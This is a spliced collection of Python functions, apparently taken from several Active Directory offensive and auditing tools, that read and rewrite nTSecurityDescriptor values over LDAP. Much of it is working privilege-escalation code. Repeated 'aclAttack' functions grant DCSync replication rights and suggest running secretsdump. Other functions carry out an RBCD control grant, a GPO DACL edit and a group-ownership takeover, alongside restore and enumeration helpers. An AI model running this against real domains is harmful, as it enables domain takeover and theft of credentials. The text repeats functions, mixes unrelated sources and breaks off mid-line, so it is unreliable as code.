def test1(): try: # Set SD flags to only query for DACL设置SD标志仅查询DACL controls = security_descriptor_control(sdflags=0x04) ldap3RESTARTABLE.search( 'DC=,DC=com', '(&(objectClass=user)(SAMAccountName=sdfsd112))', attributes=['SAMAccountName', 'nTSecurityDescriptor', 'objectSid'], controls=controls) entry = ldap3RESTARTABLE.entries[0] usersid = entry['objectSid'].value print(usersid) secDescData = entry['nTSecurityDescriptor'].raw_values[0] # 默认权限 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) everyone = create_every_ace() Data = secDesc['Dacl']['Data'] secDesc['Dacl']['Data'].remove(everyone) data = secDesc.getData() dn = entry.entry_dn # 修改权限 modifynt = ldap3RESTARTABLE.modify( dn, {'nTSecurityDescriptor': (MODIFY_REPLACE, [data])}, controls=controls) print(modifynt) return modifynt except Exception as e: print(e)
def checkdacl(): controls = security_descriptor_control(sdflags=0x04) ldap3RESTARTABLE.search( 'DC=,DC=com', '(&(objectClass=user)(SAMAccountName=sdfsd112))', attributes=['SAMAccountName', 'nTSecurityDescriptor', 'objectSid'], controls=controls) entry = ldap3RESTARTABLE.entries[0] usersid = entry['objectSid'].value print(usersid) secDescData = entry['nTSecurityDescriptor'].raw_values[0] # 默认权限 dn = entry.entry_dn every_ace = create_every_ace() secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(secDescData) for ace in secDesc['Dacl'].aces: Sid = ace['Ace']['Sid'].formatCanonical() Mask = ace['Ace']['Mask']['Mask'] if Sid == 'S-1-1-0' and Mask == 65600: secDesc['Dacl']['Data'].remove(ace) data = secDesc.getData() modifynt = ldap3RESTARTABLE.modify( dn, {'nTSecurityDescriptor': (MODIFY_REPLACE, [data])}, controls=controls) print(modifynt) return 1
def test_query(domain, username, password, target, targetuser): authentication = NTLM controls = security_descriptor_control(sdflags=0x04) s = Server(target, get_info=ALL) log.info('Connecting to host...') c = Connection(s, user=r'%s\%s' % (domain, username), password=password, authentication=authentication) log.info('Binding to host') if not c.bind(): log.info('Could not bind with specified credentials') log.info(c.result) return log.success('Bind OK') # log.success(s.info) if '.' in targetuser: search = '(dnsHostName=%s)' % targetuser else: search = '(SAMAccountName=%s)' % targetuser # adFltr = "(&(objectclass=user)(cn=" + rd_AD_CommonName + "*))" base = s.info.other['defaultNamingContext'][0] log.info('query: %s base: %s' % (search, base)) c.search(search_base=base, search_filter=search, controls=controls, search_scope=SUBTREE, attributes=ALL_ATTRIBUTES, size_limit=0) log.info(c.entries)
def validatePrivileges(self, uname, domainDumper): # Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass']) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
def validatePrivileges(self, uname, domainDumper): # Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
def do_write_gpo_dacl(self,line): args = shlex.split(line) print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) if len(args) != 2: raise Exception("A samaccountname and GPO sid are required.") tgtUser = args[0] gposid = args[1] self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid']) if len( self.client.entries) <= 0: raise Exception("Didnt find the given user") user = self.client.entries[0] controls = security_descriptor_control(sdflags=0x04) self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls) if len( self.client.entries) <= 0: raise Exception("Didnt find the given gpo") gpo = self.client.entries[0] secDescData = gpo['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) newace = self.create_allow_ace(str(user['objectSid'])) secDesc['Dacl']['Data'].append(newace) data = secDesc.getData() self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result["result"] == 0: print('LDAP server claims to have taken the secdescriptor. Have fun') else: raise Exception("something wasnt right")
def search(self, search_filter='(objectClass=*)', attributes=None, search_base=None, generator=True, use_gc=False, use_resolver=False, query_sd=False): """ Search for objects in LDAP or Global Catalog LDAP. """ if self.ldap is None: self.ldap_connect(resolver=use_resolver) if search_base is None: search_base = self.ad.baseDN if attributes is None or attributes == []: attributes = ALL_ATTRIBUTES if query_sd: # Set SD flags to only query for DACL and Owner controls = security_descriptor_control(sdflags=0x05) else: controls = None # If we don't query the GC, don't accept an empty search base if search_base == "" and not use_gc: search_base = self.ad.baseDN # Use the GC if this is requested if use_gc: searcher = self.gcldap else: # If this request comes from the resolver thread, use that if use_resolver: searcher = self.resolverldap else: searcher = self.ldap sresult = searcher.extend.standard.paged_search(search_base, search_filter, attributes=attributes, paged_size=200, controls=controls, generator=generator) try: # Use a generator for the result regardless of if the search function uses one for e in sresult: if e['type'] != 'searchResEntry': continue yield e except LDAPNoSuchObjectResult: # This may indicate the object doesn't exist or access is denied logging.warning( 'LDAP Server reported that the search in %s for %s does not exist.', search_base, search_filter) except LDAPSocketReceiveError: logging.warning( 'Connection to LDAP server lost. Will try to reconnect - data may be inaccurate' ) self.ldap_connect(resolver=use_resolver)
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') config.set_priv(True) config.set_dcsync(True) # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m( '%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace( secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException( '%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException( 'Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m( '%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException( '%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException( 'Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
def write_owner(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) group_sam = get_sam_name(group_bh_name) # Dictionary for restore data restoredata = {} ldapconnection.search( get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is already owned by %s, skipping' % (group_sam, user_sam)) return True # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical() # Modify the sid secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Owner change successful') restoredata['success'] = True state.push_history('write_owner', restoredata) return True else: restoredata['success'] = False state.push_history('write_owner', restoredata) raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result)))
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username) LOG.info('Try using DCSync with secretsdump.py and this user :)') return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def do_grant_control(self, line): args = shlex.split(line) if len(args) != 1 and len(args) != 2: raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) controls = security_descriptor_control(sdflags=0x04) target_name = args[0] grantee_name = args[1] success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) target = self.client.entries[0] target_sid = target["objectSid"].value print("Found Target DN: %s" % target.entry_dn) print("Target SID: %s\n" % target_sid) success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) grantee = self.client.entries[0] grantee_sid = grantee["objectSid"].value print("Found Grantee DN: %s" % grantee.entry_dn) print("Grantee SID: %s" % grantee_sid) try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) except IndexError: sd = self.create_empty_sd() sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) if self.client.result['result'] == 0: print('DACL modified successfully!') print('%s now has control of %s' % (grantee_name, target_name)) else: if self.client.result['result'] == 50: raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: raise Exception('The server returned an error: %s', self.client.result['message'])
def remove_owner(ldapconnection, data): # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) usersid = data['old_owner_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m( '%s is owned by the same user as before exploitation, skipping' % data['target_dn']) return True secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) secdesc_data = secDesc.getData() res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls) if res: print_o('Owner restore succesful') return True else: # Constraintintersection means we can't change the owner to this SID # TODO: investigate why this is and possible workarounds if ldapconnection.result['result'] == 19: print_f( 'Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid)) # Treat this as a success return True raise RestoreException( 'Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result)))
def dumpADCS(self): def is_template_for_authentification(entry): authentication_ekus = [ b"1.3.6.1.5.5.7.3.2", b"1.3.6.1.5.2.3.4", b"1.3.6.1.4.1.311.20.2.2", b"2.5.29.37.0" ] # Ignore templates requiring manager approval if entry["attributes"]["msPKI-Enrollment-Flag"] & 0x02: return False # No EKU = works for client authentication if not len(entry["raw_attributes"]["pKIExtendedKeyUsage"]): return True try: next((eku for eku in entry["raw_attributes"]["pKIExtendedKeyUsage"] if eku in authentication_ekus)) return True except StopIteration: return False def get_enrollment_principals(entry): # Mostly taken from github.com/ly4k/Certipy/certipy/security.py sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0]) enrollment_uuids = [ "00000000-0000-0000-0000-000000000000", # All-Extended-Rights "0e10c968-78fb-11d2-90d4-00c04f79dc55", # Certificate-Enrollment "a05b8cc2-17bc-4802-a710-e7c15ab866a2", # Certificate-AutoEnrollment ] enrollment_principals = set() for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE): sid = format_sid(ace["Ace"]["Sid"].getData()) if ace["Ace"]["ObjectTypeLen"] == 0: uuid = bin_to_string( ace["Ace"]["InheritedObjectType"]).lower() else: uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower() if not uuid in enrollment_uuids: continue enrollment_principals.add(sid) return enrollment_principals def translate_sids(sids): default_naming_context = self.client.server.info.other[ "defaultNamingContext"][0] try: domain_fqdn = self.client.server.info.other["ldapServiceName"][ 0].split("@")[1] except (KeyError, IndexError): domain_fqdn = "" sid_map = dict() for sid in sids: try: if sid.startswith("S-1-5-21-"): self.client.search( default_naming_context, "(&(objectSid=%s)(|(objectClass=group)(objectClass=user)))" % sid, attributes=["name", "objectSid"], search_scope=ldap3.SUBTREE) else: self.client.search( "CN=WellKnown Security Principals," + configuration_naming_context, "(&(objectSid=%s)(objectClass=foreignSecurityPrincipal))" % sid, attributes=["name", "objectSid"], search_scope=ldap3.LEVEL) except: sid_map[sid] = sid continue if not len(self.client.response): sid_map[sid] = sid else: sid_map[sid] = domain_fqdn + "\\" + self.client.response[ 0]["attributes"]["name"] return sid_map LOG.info("Attempting to dump ADCS enrollment services info") configuration_naming_context = self.client.server.info.other[ 'configurationNamingContext'][0] enrollment_service_attributes = [ "certificateTemplates", "displayName", "dNSHostName", "msPKI-Enrollment-Servers", "nTSecurityDescriptor" ] self.client.search( "CN=Enrollment Services,CN=Public Key Services,CN=Services," + configuration_naming_context, "(objectClass=pKIEnrollmentService)", search_scope=ldap3.LEVEL, attributes=enrollment_service_attributes, controls=security_descriptor_control(sdflags=0x04)) if not len(self.client.response): LOG.info("No ADCS enrollment service found") return offered_templates = set() sid_map = dict() for entry in self.client.response: LOG.info( "Found ADCS enrollment service `%s` on host `%s`, offering templates: %s" % (entry["attributes"]["displayName"], entry["attributes"]["dNSHostName"], ", ".join(( "`" + tpl + "`" for tpl in entry["attributes"]["certificateTemplates"])))) offered_templates.update( entry["attributes"]["certificateTemplates"]) enrollment_principals = get_enrollment_principals(entry) known_sids = set(sid_map.keys()) unknwown_sids = enrollment_principals.difference(known_sids) sid_map.update(translate_sids(unknwown_sids)) LOG.info( "Principals who can enroll on enrollment service `%s`: %s" % (entry["attributes"]["displayName"], ", ".join( ("`" + sid_map[principal] + "`" for principal in enrollment_principals)))) if not len(offered_templates): LOG.info("No templates offered by the enrollment services") return LOG.info( "Attempting to dump ADCS certificate templates enrollment rights, for templates allowing for client authentication and not requiring manager approval" ) certificate_template_attributes = [ "msPKI-Enrollment-Flag", "name", "nTSecurityDescriptor", "pKIExtendedKeyUsage" ] self.client.search( "CN=Certificate Templates,CN=Public Key Services,CN=Services," + configuration_naming_context, "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join( ("(name=" + tpl + ")" for tpl in offered_templates)), search_scope=ldap3.LEVEL, attributes=certificate_template_attributes, controls=security_descriptor_control(sdflags=0x04)) for entry in (e for e in self.client.response if is_template_for_authentification(e)): enrollment_principals = get_enrollment_principals(entry) known_sids = set(sid_map.keys()) unknwown_sids = enrollment_principals.difference(known_sids) sid_map.update(translate_sids(unknwown_sids)) LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"], ", ".join( ("`" + sid_map[principal] + "`" for principal in enrollment_principals)))) LOG.info("Done dumping ADCS info")
def get_objectacl(self, queried_domain=str(), queried_sid=str(), queried_name=str(), queried_sam_account_name=str(), ads_path=str(), sacl=False, rights_filter=str(), resolve_sids=False, resolve_guids=False, custom_filter=str()): for attr_desc, attr_value in (('objectSid', queried_sid), ('name', escape_filter_chars(queried_name)), ('samAccountName', escape_filter_chars(queried_sam_account_name))): if attr_value: object_filter = '(&({}={}){})'.format(attr_desc, attr_value, custom_filter) break else: object_filter = '(&(name=*){})'.format(custom_filter) guid_map = dict() # This works on a mono-domain forest, must be tested on a more complex one if resolve_guids: # Dirty fix to get base DN even if custom ADS path was given base_dn = ','.join(self._base_dn.split(',')[-2:]) guid_map = {'{00000000-0000-0000-0000-000000000000}': 'All'} with NetRequester(self._domain_controller, self._domain, self._user, self._password, self._lmhash, self._nthash, self._do_kerberos, self._do_tls) as net_requester: for o in net_requester.get_adobject(ads_path='CN=Schema,CN=Configuration,{}'.format(base_dn), attributes=['name', 'schemaIDGUID'], custom_filter='(schemaIDGUID=*)'): guid_map['{{{}}}'.format(o.schemaidguid)] = o.name for o in net_requester.get_adobject(ads_path='CN=Extended-Rights,CN=Configuration,{}'.format(base_dn), attributes=['name', 'rightsGuid'], custom_filter='(objectClass=controlAccessRight)'): guid_map['{{{}}}'.format(o.rightsguid.lower())] = o.name attributes = ['distinguishedname', 'objectsid', 'ntsecuritydescriptor'] if sacl: controls = list() acl_type = 'Sacl' else: # The control is used to get access to ntSecurityDescriptor with an # unprivileged user, see https://stackoverflow.com/questions/40771503/selecting-the-ad-ntsecuritydescriptor-attribute-as-a-non-admin/40773088 # /!\ May break pagination from what I've read (see Stack Overflow answer) controls = security_descriptor_control(criticality=True, sdflags=0x07) acl_type = 'Dacl' security_descriptors = self._ldap_search(object_filter, adobj.ADObject, attributes=attributes, controls=controls) acl = list() rights_to_guid = {'reset-password': '******', 'write-members': '{bf9679c0-0de6-11d0-a285-00aa003049e2}', 'all': '{00000000-0000-0000-0000-000000000000}'} guid_filter = rights_to_guid.get(rights_filter, None) if resolve_sids: sid_resolver = NetRequester(self._domain_controller, self._domain, self._user, self._password, self._lmhash, self._nthash, self._do_kerberos, self._do_tls) sid_mapping = adobj.ADObject._well_known_sids.copy() else: sid_resolver = None for security_descriptor in security_descriptors: sd = SR_SECURITY_DESCRIPTOR() try: sd.fromString(security_descriptor.ntsecuritydescriptor) except TypeError: continue for ace in sd[acl_type]['Data']: if guid_filter: try: object_type = format_uuid_le(ace['Ace']['ObjectType']) if ace['Ace']['ObjectType'] else '{00000000-0000-0000-0000-000000000000}' except KeyError: continue if object_type != 